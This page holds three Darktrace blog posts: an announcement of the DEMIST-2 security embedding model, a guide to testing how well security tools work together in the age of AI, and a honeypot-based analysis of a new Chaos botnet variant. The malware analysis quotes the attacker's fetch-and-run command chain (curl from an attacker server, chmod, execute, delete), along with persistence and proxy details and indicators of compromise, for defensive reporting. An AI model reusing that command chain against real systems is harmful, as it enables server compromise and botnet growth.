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April 16, 2025

Introducing Version 2 of Darktrace’s Embedding Model for Investigation of Security Threats (DEMIST-2)

Learn how Darktrace’s DEMIST-2 embedding model delivers high-accuracy threat classification and detection across any environment, outperforming larger models with efficiency and precision.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Margaret Cunningham, PhD
VP, Security & AI Strategy, Field CISO
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16
Apr 2025

DEMIST-2 is Darktrace’s latest embedding model, built to interpret and classify security data with precision. It performs highly specialized tasks and can be deployed in any environment. Unlike generative language models, DEMIST-2 focuses on providing reliable, high-accuracy detections for critical security use cases.

DEMIST-2 Core Capabilities:  

  • Enhances Cyber AI Analyst’s ability to triage and reason about security incidents by providing expert representation and classification of security data, and as a part of our broader multi-layered AI system
  • Classifies and interprets security data, in contrast to language models that generate unpredictable open-ended text responses  
  • Incorporates new innovations in language model development and architecture, optimized specifically for cybersecurity applications
  • Deployable across cloud, on-prem, and edge environments, DEMIST-2 delivers low-latency, high-accuracy results wherever it runs. It enables inference anywhere.

Cybersecurity is constantly evolving, but the need to build precise and reliable detections remains constant in the face of new and emerging threats. Darktrace’s Embedding Model for Investigation of Security Threats (DEMIST-2) addresses these critical needs and is designed to create stable, high-fidelity representations of security data while also serving as a powerful classifier. For security teams, this means faster, more accurate threat detection with reduced manual investigation. DEMIST-2's efficiency also reduces the need to invest in massive computational resources, enabling effective protection at scale without added complexity.  

As an embedding language model, DEMIST-2 classifies and creates meaning out of complex security data. This equips our Self-Learning AI with the insights to compare, correlate, and reason with consistency and precision. Classifications and embeddings power core capabilities across our products where accuracy is not optional, as a part of our multi-layered approach to AI architecture.

Perhaps most importantly, DEMIST-2 features a compact architecture that delivers analyst-level insights while meeting diverse deployment needs across cloud, on-prem, and edge environments. Trained on a mixture of general and domain-specific data and designed to support task specialization, DEMIST-2 provides privacy-preserving inference anywhere, while outperforming larger general-purpose models in key cybersecurity tasks.

This proprietary language model reflects Darktrace's ongoing commitment to continually innovate our AI solutions to meet the unique challenges of the security industry. We approach AI differently, integrating diverse insights to solve complex cybersecurity problems. DEMIST-2 shows that a refined, optimized, domain-specific language model can deliver outsized results in an efficient package. We are redefining possibilities for cybersecurity, but our methods transfer readily to other domains. We are eager to share our findings to accelerate innovation in the field.  

The evolution of DEMIST-2

Key concepts:  

  • Tokens: The smallest units processed by language models. Text is split into fragments based on frequency patterns allowing models to handle unfamiliar words efficiently
  • Low-Rank Adaptors (LoRA): Small, trainable components added to a model that allow it to specialize in new tasks without retraining the full system. These components learn task-specific behavior while the original foundation model remains unchanged. This approach enables multiple specializations to coexist, and work simultaneously, without drastically increasing processing and memory requirements.

Darktrace began using large language models in our products in 2022. DEMIST-2 reflects significant advancements in our continuous experimentation and adoption of innovations in the field to address the unique needs of the security industry.  

It is important to note that Darktrace uses a range of language models throughout its products, but each one is chosen for the task at hand. Many others in the artificial intelligence (AI) industry are focused on broad application of large language models (LLMs) for open-ended text generation tasks. Our research shows that using LLMs for classification and embedding offers better, more reliable, results for core security use cases. We’ve found that using LLMs for open-ended outputs can introduce uncertainty through inaccurate and unreliable responses, which is detrimental for environments where precision matters. Generative AI should not be applied to use cases, such as investigation and threat detection, where the results can deeply matter. Thoughtful application of generative AI capabilities, such as drafting decoy phishing emails or crafting non-consequential summaries are helpful but still require careful oversight.

Data is perhaps the most important factor for building language models. The data used to train DEMIST-2 balanced the need for general language understanding with security expertise. We used both publicly available and proprietary datasets.  Our proprietary dataset included privacy-preserving data such as URIs observed in customer alerts, anonymized at source to remove PII and gathered via the Call Home and aianalyst.darktrace.com services. For additional details, read our Technical Paper.  

DEMIST-2 is our way of addressing the unique challenges posed by security data. It recognizes that security data follows its own patterns that are distinct from natural language. For example, hostnames, HTTP headers, and certificate fields often appear in predictable ways, but not necessarily in a way that mirrors natural language. General-purpose LLMs tend to break down when used in these types of highly specialized domains. They struggle to interpret structure and context, fragmenting important patterns during tokenization in ways that can have a negative impact on performance.  

DEMIST-2 was built to understand the language and structure of security data using a custom tokenizer built around a security-specific vocabulary of over 16,000 words. This tokenizer allows the model to process inputs more accurately like encoded payloads, file paths, subdomain chains, and command-line arguments. These types of data are often misinterpreted by general-purpose models.  

When the tokenizer encounters unfamiliar or irregular input, it breaks the data into smaller pieces so it can still be processed. The ability to fall back to individual bytes is critical in cybersecurity contexts where novel or obfuscated content is common. This approach combines precision with flexibility, supporting specialized understanding with resilience in the face of unpredictable data.  

Along with our custom tokenizer, we made changes to support task specialization without increasing model size. To do this, DEMIST-2 uses LoRA . LoRA is a technique that integrates lightweight components with the base model to allow it to perform specific tasks while keeping memory requirements low. By using LoRA, our proprietary representation of security knowledge can be shared and reused as a starting point for more highly specialized models, for example, it takes a different type of specialization to understand hostnames versus to understand sensitive filenames. DEMIST-2 dynamically adapts to these needs and performs them with purpose.  

The result is that DEMIST-2 is like having a room of specialists working on difficult problems together, while sharing a basic core set of knowledge that does not need to be repeated or reintroduced to every situation. Sharing a consistent base model also improves its maintainability and allows efficient deployment across diverse environments without compromising speed or accuracy.  

Tokenization and task specialization represent only a portion of the updates we have made to our embedding model. In conjunction with the changes described above, DEMIST-2 integrates several updated modeling techniques that reduce latency and improve detections. To learn more about these details, our training data and methods, and a full write-up of our results, please read our scientific whitepaper.

DEMIST-2 in action

In this section, we highlight DEMIST-2's embeddings and performance. First, we show a visualization of how DEMIST-2 classifies and interprets hostnames, and second, we present its performance in a hostname classification task in comparison to other language models.  

Embeddings can often feel abstract, so let’s make them real. Figure 1 below is a 2D visualization of how DEMIST-2 classifies and understands hostnames. In reality, these hostnames exist across many more dimensions, capturing details like their relationships with other hostnames, usage patterns, and contextual data. The colors and positions in the diagram represent a simplified view of how DEMIST-2 organizes and interprets these hostnames, providing insights into their meaning and connections. Just like an experienced human analyst can quickly identify and group hostnames based on patterns and context, DEMIST-2 does the same at scale.  

DEMIST-2 visualization of hostname relationships from a large web dataset.
Figure 1: DEMIST-2 visualization of hostname relationships from a large web dataset.

Next, let’s zoom in on two distinct clusters that DEMIST-2 recognizes. One cluster represents small businesses (Figure 2) and the other, Russian and Polish sites with similar numerical formats (Figure 3). These clusters demonstrate how DEMIST-2 can identify specific groupings based on real-world attributes such as regional patterns in website structures, common formats used by small businesses, and other properties such as its understanding of how websites relate to each other on the internet.

Cluster of small businesses
Figure 2: Cluster of small businesses
Figure 3: Cluster of Russian and Polish sites with a similar numerical format

The previous figures provided a view of how DEMIST-2 works. Figure 4 highlights DEMIST-2’s performance in a security-related classification task. The chart shows how DEMIST-2, with just 95 million parameters, achieves nearly 94% accuracy—making it the highest-performing model in the chart, despite being the smallest. In comparison, the larger model with 278 million parameters achieves only about 89% accuracy, showing that size doesn’t always mean better performance. Small models don’t mean poor performance. For many security-related tasks, DEMIST-2 outperforms much larger models.

Hostname classification task performance comparison against comparable open source foundation models
Figure 4: Hostname classification task performance comparison against comparable open source foundation models

With these examples of DEMIST-2 in action, we’ve shown how it excels in embedding and classifying security data while delivering high performance on specialized security tasks.  

The DEMIST-2 advantage

DEMIST-2 was built for precision and reliability. Our primary goal was to create a high-performance model capable of tackling complex cybersecurity tasks. Optimizing for efficiency and scalability came second, but it is a natural outcome of our commitment to building a strong, effective solution that is available to security teams working across diverse environments. It is an enormous benefit that DEMIST-2 is orders of magnitude smaller than many general-purpose models. However, and much more importantly, it significantly outperforms models in its capabilities and accuracy on security tasks.  

Finding a product that fits into an environment’s unique constraints used to mean that some teams had to settle for less powerful or less performant products. With DEMIST-2, data can remain local to the environment, is entirely separate from the data of other customers, and can even operate in environments without network connectivity. The size of our model allows for flexible deployment options while at the same time providing measurable performance advantages for security-related tasks.  

As security threats continue to evolve, we believe that purpose-built AI systems like DEMIST-2 will be essential tools for defenders, combining the power of modern language modeling with the specificity and reliability that builds trust and partnership between security practitioners and AI systems.

Conclusion

DEMIST-2 has additional architectural and deployment updates that improve performance and stability. These innovations contribute to our ability to minimize model size and memory constraints and reflect our dedication to meeting the data handling and privacy needs of security environments. In addition, these choices reflect our dedication to responsible AI practices.

DEMIST-2 is available in Darktrace 6.3, along with a new DIGEST model that uses GNNs and RNNs to score and prioritize threats with expert-level precision.

[related-resource]

Want more details?

Read the full research paper to explore how DEMIST-2 was built, trained, and optimized to meet the unique challenges of cybersecurity

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Margaret Cunningham, PhD
VP, Security & AI Strategy, Field CISO

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April 9, 2026

How to Secure AI and Find the Gaps in Your Security Operations

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What “securing AI” actually means (and doesn’t)

Security teams are under growing pressure to “secure AI” at the same pace which businesses are adopting it. But in many organizations, adoption is outpacing the ability to govern, monitor, and control it. When that gap widens, decision-making shifts from deliberate design to immediate coverage. The priority becomes getting something in place, whether that’s a point solution, a governance layer, or an extension of an existing platform, rather than ensuring those choices work together.

At the same time, AI governance is lagging adoption. 37% of organizations still lack AI adoption policies, shadow AI usage across SaaS has surged, and there are notable spikes in anomalous data uploads to generative AI services.  

First and foremost, it’s important to recognize the dual nature of AI risk. Much of the industry has focused on how attackers will use AI to move faster, scale campaigns, and evade detection. But what’s becoming just as significant is the risk introduced by AI inside the organization itself. Enterprises are rapidly embedding AI into workflows, SaaS platforms, and decision-making processes, creating new pathways for data exposure, privilege misuse, and unintended access across an already interconnected environment.

Because the introduction of complex AI systems into modern, hybrid environments is reshaping attacker behavior and exposing gaps between security functions, the challenge is no longer just having the right capabilities in place but effectively coordinating prevention, detection, investigation, response, and remediation together. As threats accelerate and systems become more interconnected, security depends on coordinated execution, not isolated tools, which is why lifecycle-based approaches to governance, visibility, behavioral oversight, and real-time control are gaining traction.

From cloud consolidation to AI systems what we can learn

We have seen a version of AI adoption before in cloud security. In the early days, tooling fragmented into posture, workload/runtime, identity, data, and more. Gradually, cloud security collapsed into broader cloud platforms. The lesson was clear: posture without runtime misses active threats; runtime without posture ignores root causes. Strong programs ran both in parallel and stitched the findings together in operations.  

Today’s AI wave stretches that lesson across every domain. Adversaries are compressing “time‑to‑tooling” using LLM‑assisted development (“vibecoding”) and recycling public PoCs at unprecedented speed. That makes it difficult to secure through siloed controls, because the risk is not confined to one layer. It emerges through interactions across layers.

Keep in mind, most modern attacks don’t succeed by defeating a single control. They succeed by moving through the gaps between systems faster than teams can connect what they are seeing. Recent exploitation waves like React2Shell show how quickly opportunistic actors operationalize fresh disclosures and chain misconfigurations to monetize at scale.

In the React2Shell window, defenders observed rapid, opportunistic exploitation and iterative payload diversity across a broad infrastructure footprint, strains that outpace signature‑first thinking.  

You can stay up to date on attacker behavior by signing up for our newsletter where Darktrace’s threat research team and analyst community regularly dive deep into threat finds.

Ultimately, speed met scale in the cloud era; AI adds interconnectedness and orchestration. Simple questions — What happened? Who did it? Why? How? Where else? — now cut across identities, SaaS agents, model/service endpoints, data egress, and automated actions. The longer it takes to answer, the worse the blast radius becomes.

The case for a platform approach in the age of AI

Think of security fusion as the connective tissue that lets you prevent, detect, investigate, and remediate in parallel, not in sequence. In practice, that looks like:

  1. Unified telemetry with behavioral context across identities, SaaS, cloud, network, endpoints, and email—so an anomalous action in one plane automatically informs expectations in others. (Inside‑the‑SOC investigations show this pays off when attacks hop fast between domains.)  
  1. Pre‑CVE and “in‑the‑wild” awareness feeding controls before signatures—reducing dwell time in fast exploitation windows.  
  1. Automated, bounded response that can contain likely‑malicious actions at machine speed without breaking workflows—buying analysts time to investigate with full context. (Rapid CVE coverage and exploit‑wave posts illustrate how critical those first minutes are.)  
  1. Investigation workflows that assume AI is in the loop—for both defenders and attackers. As adversaries adopt “agentic” patterns, investigations need graph‑aware, sequence‑aware reasoning to prioritize what matters early.

This isn’t theoretical. It’s reflected in the Darktrace posts that consistently draw readership: timely threat intel with proprietary visibility and executive frameworks that transform field findings into operating guidance.  

The five questions that matter (and the one that matters more)

When alerted to malicious or risky AI use, you’ll ask:

  1. What happened?
  1. Who did it?
  1. Why did they do it?
  1. How did they do it?
  1. Where else can this happen?

The sixth, more important question is: How much worse does it get while you answer the first five? The answer depends on whether your controls operate in sequence (slow) or in fused parallel (fast).

What to watch next: How the AI security market will likely evolve

Security markets tend to follow a familiar pattern. New technologies drive an initial wave of specialized tools (posture, governance, observability) each focused on a specific part of the problem. Over time, those capabilities consolidate as organizations realize the new challenge is coordination.

AI is accelerating the shift of focus to coordination because AI-powered attackers can move faster and operate across more systems at once. Recent exploitation waves show exactly this. Adversaries can operationalize new techniques and move across domains, turning small gaps into full attack paths.

Anticipate a continued move toward more integrated security models because fragmented approaches can’t keep up with the speed and interconnected nature of modern attacks.

Building the Groundwork for Secure AI: How to Test Your Stack’s True Maturity

AI doesn’t create new surfaces as much as it exposes the fragility of the seams that already exist.  

Darktrace’s own public investigations consistently show that modern attacks, from LinkedIn‑originated phishing that pivots into corporate SaaS to multi‑stage exploitation waves like BeyondTrust CVE‑2026‑1731 and React2Shell, succeed not because a single control failed, but because no control saw the whole sequence, or no system was able to respond at the speed of escalation.  

Before thinking about “AI security,” customers should ensure they’ve built a security foundation where visibility, signals, and responses can pass cleanly between domains. That requires pressure‑testing the seams.

Below are the key integration questions and stack‑maturity tests every organization should run.

1. Do your controls see the same event the same way?

Integration questions

  • When an identity behaves strangely (impossible travel, atypical OAuth grants), does that signal automatically inform your email, SaaS, cloud, and endpoint tools?
  • Do your tools normalize events in a way that lets you correlate identity → app → data → network without human stitching?

Why it matters

Darktrace’s public SOC investigations repeatedly show attackers starting in an unmonitored domain, then pivoting into monitored ones, such as phishing on LinkedIn that bypassed email controls but later appeared as anomalous SaaS behavior.

If tools can’t share or interpret each other's context, AI‑era attacks will outrun every control.

Tests you can run

  1. Shadow Identity Test
  • Create a temporary identity with no history.
  • Perform a small but unusual action: unusual browser, untrusted IP, odd OAuth request.
  • Expected maturity signal: other tools (email/SaaS/network) should immediately score the identity as high‑risk.
  1. Context Propagation Test
  • Trigger an alert in one system (e.g., endpoint anomaly) and check if other systems automatically adjust thresholds or sensitivity.
  • Low maturity signal: nothing changes unless an analyst manually intervenes.

2. Does detection trigger coordinated action, or does everything act alone?

Integration questions

  • When one system blocks or contains something, do other systems automatically tighten, isolate, or rate‑limit?
  • Does your stack support bounded autonomy — automated micro‑containment without broad business disruption?

Why it matters

In public cases like BeyondTrust CVE‑2026‑1731 exploitation, Darktrace observed rapid C2 beaconing, unusual downloads, and tunneling attempts across multiple systems. Containment windows were measured in minutes, not hours.  

Tests you can run

  1. Chain Reaction Test
  • Simulate a primitive threat (e.g., access from TOR exit node).
  • Your identity provider should challenge → email should tighten → SaaS tokens should re‑authenticate.
  • Weak seam indicator: only one tool reacts.
  1. Autonomous Boundary Test
  • Induce a low‑grade anomaly (credential spray simulation).
  • Evaluate whether automated containment rules activate without breaking legitimate workflows.

3. Can your team investigate a cross‑domain incident without swivel‑chairing?

Integration questions

  • Can analysts pivot from identity → SaaS → cloud → endpoint in one narrative, not five consoles?
  • Does your investigation tooling use graphs or sequence-based reasoning, or is it list‑based?

Why it matters

Darktrace’s Cyber AI Analyst and DIGEST research highlights why investigations must interpret structure and progression, not just standalone alerts. Attackers now move between systems faster than human triage cycles.  

Tests you can run

  1. One‑Hour Timeline Build Test
  • Pick any detection.
  • Give an analyst one hour to produce a full sequence: entry → privilege → movement → egress.
  • Weak seam indicator: they spend >50% of the hour stitching exports.
  1. Multi‑Hop Replay Test
  • Simulate an incident that crosses domains (phish → SaaS token → data access).
  • Evaluate whether the investigative platform auto‑reconstructs the chain.

4. Do you detect intent or only outcomes?

Integration questions

  • Can your stack detect the setup behaviors before an attack becomes irreversible?
  • Are you catching pre‑CVE anomalies or post‑compromise symptoms?

Why it matters

Darktrace publicly documents multiple examples of pre‑CVE detection, where anomalous behavior was flagged days before vulnerability disclosure. AI‑assisted attackers will hide behind benign‑looking flows until the very last moment.

Tests you can run

  1. Intent‑Before‑Impact Test
  • Simulate reconnaissance-like behavior (DNS anomalies, odd browsing to unknown SaaS, atypical file listing).
  • Mature systems will flag intent even without an exploit.
  1. CVE‑Window Test
  • During a real CVE patch cycle, measure detection lag vs. public PoC release.
  • Weak seam indicator: your detection rises only after mass exploitation begins.

5. Are response and remediation two separate universes?

Integration questions

  • When you contain something, does that trigger root-cause remediation workflows in identity, cloud config, or SaaS posture?
  • Does fixing a misconfiguration automatically update correlated controls?

Why it matters

Darktrace’s cloud investigations (e.g., cloud compromise analysis) emphasize that remediation must close both runtime and posture gaps in parallel.

Tests you can run

  1. Closed‑Loop Remediation Test
  • Introduce a small misconfiguration (over‑permissioned identity).
  • Trigger an anomaly.
  • Mature stacks will: detect → contain → recommend or automate posture repair.
  1. Drift‑Regression Test
  • After remediation, intentionally re‑introduce drift.
  • The system should immediately recognize deviation from known‑good baseline.

6. Do SaaS, cloud, email, and identity all agree on “normal”?

Integration questions

  • Is “normal behavior” defined in one place or many?
  • Do baselines update globally or per-tool?

Why it matters

Attackers (including AI‑assisted ones) increasingly exploit misaligned baselines, behaving “normal” to one system and anomalous to another.

Tests you can run

  1. Baseline Drift Test
  • Change the behavior of a service account for 24 hours.
  • Mature platforms will flag the deviation early and propagate updated expectations.
  1. Cross‑Domain Baseline Consistency Test
  • Compare identity’s risk score vs. cloud vs. SaaS.
  • Weak seam indicator: risk scores don’t align.

Final takeaway

Security teams should ask be focused on how their stack operates as one system before AI amplifies pressure on every seam.

Only once an organization can reliably detect, correlate, and respond across domains can it safely begin to secure AI models, agents, and workflows.

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About the author
Nabil Zoldjalali
VP, Field CISO

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April 7, 2026

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

Chaos Malware Variant Exploiting Misconfigurations in the CloudDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

One example of software targeted within Darktrace’s honeypots is Hadoop, an open-source framework developed by Apache that enables the distributed processing of large data sets across clusters of computers. In Darktrace’s honeypot environment, the Hadoop instance is intentionally misconfigured to allow attackers to achieve remote code execution on the service. In one example from March 2026, this enabled Darktrace to identify and further investigate activity linked to Chaos malware.

What is Chaos Malware?

First discovered by Lumen’s Black Lotus Labs, Chaos is a Go-based malware [1]. It is speculated to be of Chinese origin, based on Chinese language characters found within strings in the sample and the presence of zh-CN locale indicators. Based on code overlap, Chaos is likely an evolution of the Kaiji botnet.

Chaos has historically targeted routers and primarily spreads through SSH brute-forcing and known Common Vulnerabilities and Exposures (CVEs) in router software. It then utilizes infected devices as part of a Distributed Denial-of-Service (DDoS) botnet, as well as cryptomining.

Darktrace’s view of a Chaos Malware Compromise

The attack began when a threat actor sent a request to an endpoint on the Hadoop deployment to create a new application.

The initial infection being delivered to the unsecured endpoint.
Figure 1: The initial infection being delivered to the unsecured endpoint.

This defines a new application with an initial command to run inside the container, specified in the command field of the am-container-spec section. This, in turn, initiates several shell commands:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - downloads a file from the attacker’s server, in this case a Chaos agent malware executable.
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - sets permissions to allow all users to read, write, and execute the malware.
  • ./7c49006c2e417f20c732409ead2d6cc0. - executes the malware
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - deletes the malware file from the disk to reduce traces of activity.

In practice, once this application is created an attacker-defined binary is downloaded from their server, executed on the system, and then removed to prevent forensic recovery. The domain pan.tenire[.]com has been previously observed in another campaign, dubbed “Operation Silk Lure”, which delivered the ValleyRAT Remote Access Trojan (RAT) via malicious job application resumes. Like Chaos, this campaign featured extensive Chinese characters throughout its stages, including within the fake resume themselves. The domain resolves to 107[.]189.10.219, a virtual private server (VPS) hosted in BuyVM’s Luxembourg location, a provider known for offering low-cost VPS services.

Analysis of the updated Chaos malware sample

Chaos has historically targeted routers and other edge devices, making compromises of Linux server environments a relatively new development. The sample observed by Darktrace in this compromise is a 64-bit ELF binary, while the majority of router hardware typically runs on ARM, MIPS, or PowerPC architecture and often 32-bit.

The malware sample used in the attack has undergone notable restructuring compared to earlier versions. The default namespace has been changed from “main_chaos” to just “main”, and several functions have been reworked. Despite these changes, the sample retains its core features, including persistence mechanisms established via systemd and a malicious keep-alive script stored at /boot/system.pub.

The creation of the systemd persistence service.
Figure 2: The creation of the systemd persistence service.

Likewise, the functions to perform DDoS attacks are still present, with methods that target the following protocols:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

However, several features such as the SSH spreader and vulnerability exploitation functions appear to have been removed. In addition, several functions that were previously believed to be inherited from Kaiji have also been changed, suggesting that the threat actors have either rewritten the malware or refactored it extensively.

A new function of the malware is a SOCKS proxy. When the malware receives a StartProxy command from the command-and-control (C2) server, it will begin listening on an attacker-controlled TCP port and operates as a SOCKS5 proxy. This enables the attacker to route their traffic via the compromised server and use it as a proxy. This capability offers several advantages: it enables the threat actor to launch attacks from the victim’s internet connection, making the activity appear to originate from the victim instead of the attacker, and it allows the attacker to pivot into internal networks only accessible from the compromised server.

The command processor for StartProxy. Due to endianness, the string is reversed.
Figure 3: The command processor for StartProxy. Due to endianness, the string is reversed.

In previous cases, other DDoS botnets, such as Aisuru, have been observed pivoting to offer proxying services to other cybercriminals. The creators of Chaos may have taken note of this trend and added similar functionality to expand their monetization options and enhance the capabilities of their own botnet, helping ensure they do not fall behind competing operators.

The sample contains an embedded domain, gmserver.osfc[.]org[.]cn, which it uses to resolve the IP of its C2 server.  At time or writing, the domain resolves to 70[.]39.181.70, an IP owned by NetLabel Global which is geolocated at Hong Kong.

Historically, the domain has also resolved to 154[.]26.209.250, owned by Kurun Cloud, a low-cost VPS provider that offers dedicated server rentals. The malware uses port 65111 for sending and receiving commands, although neither IP appears to be actively accepting connections on this port at the time of writing.

Key takeaways

While Chaos is not a new malware, its continued evolution highlights the dedication of cybercriminals to expand their botnets and enhance the capabilities at their disposal. Previously reported versions of Chaos malware already featured the ability to exploit a wide range of router CVEs, and its recent shift towards targeting Linux cloud-server vulnerabilities will further broaden its reach.

It is therefore important that security teams patch CVEs and ensure strong security configuration for applications deployed in the cloud, particularly as the cloud market continues to grow rapidly while available security tooling struggles to keep pace.

The recent shift in botnets such as Aisuru and Chaos to include proxy services as core features demonstrates that denial-of-service is no longer the only risk these botnets pose to organizations and their security teams. Proxies enable attackers to bypass rate limits and mask their tracks, enabling more complex forms of cybercrime while making it significantly harder for defenders to detect and block malicious campaigns.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Indicators of Compromise (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos Malware hash

182[.]90.229.95 - Attacker IP

pan.tenire[.]com (107[.]189.10.219) - Server hosting malicious binaries

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - Attacker C2 Server

References

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

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About the author
Nathaniel Bill
Malware Research Engineer
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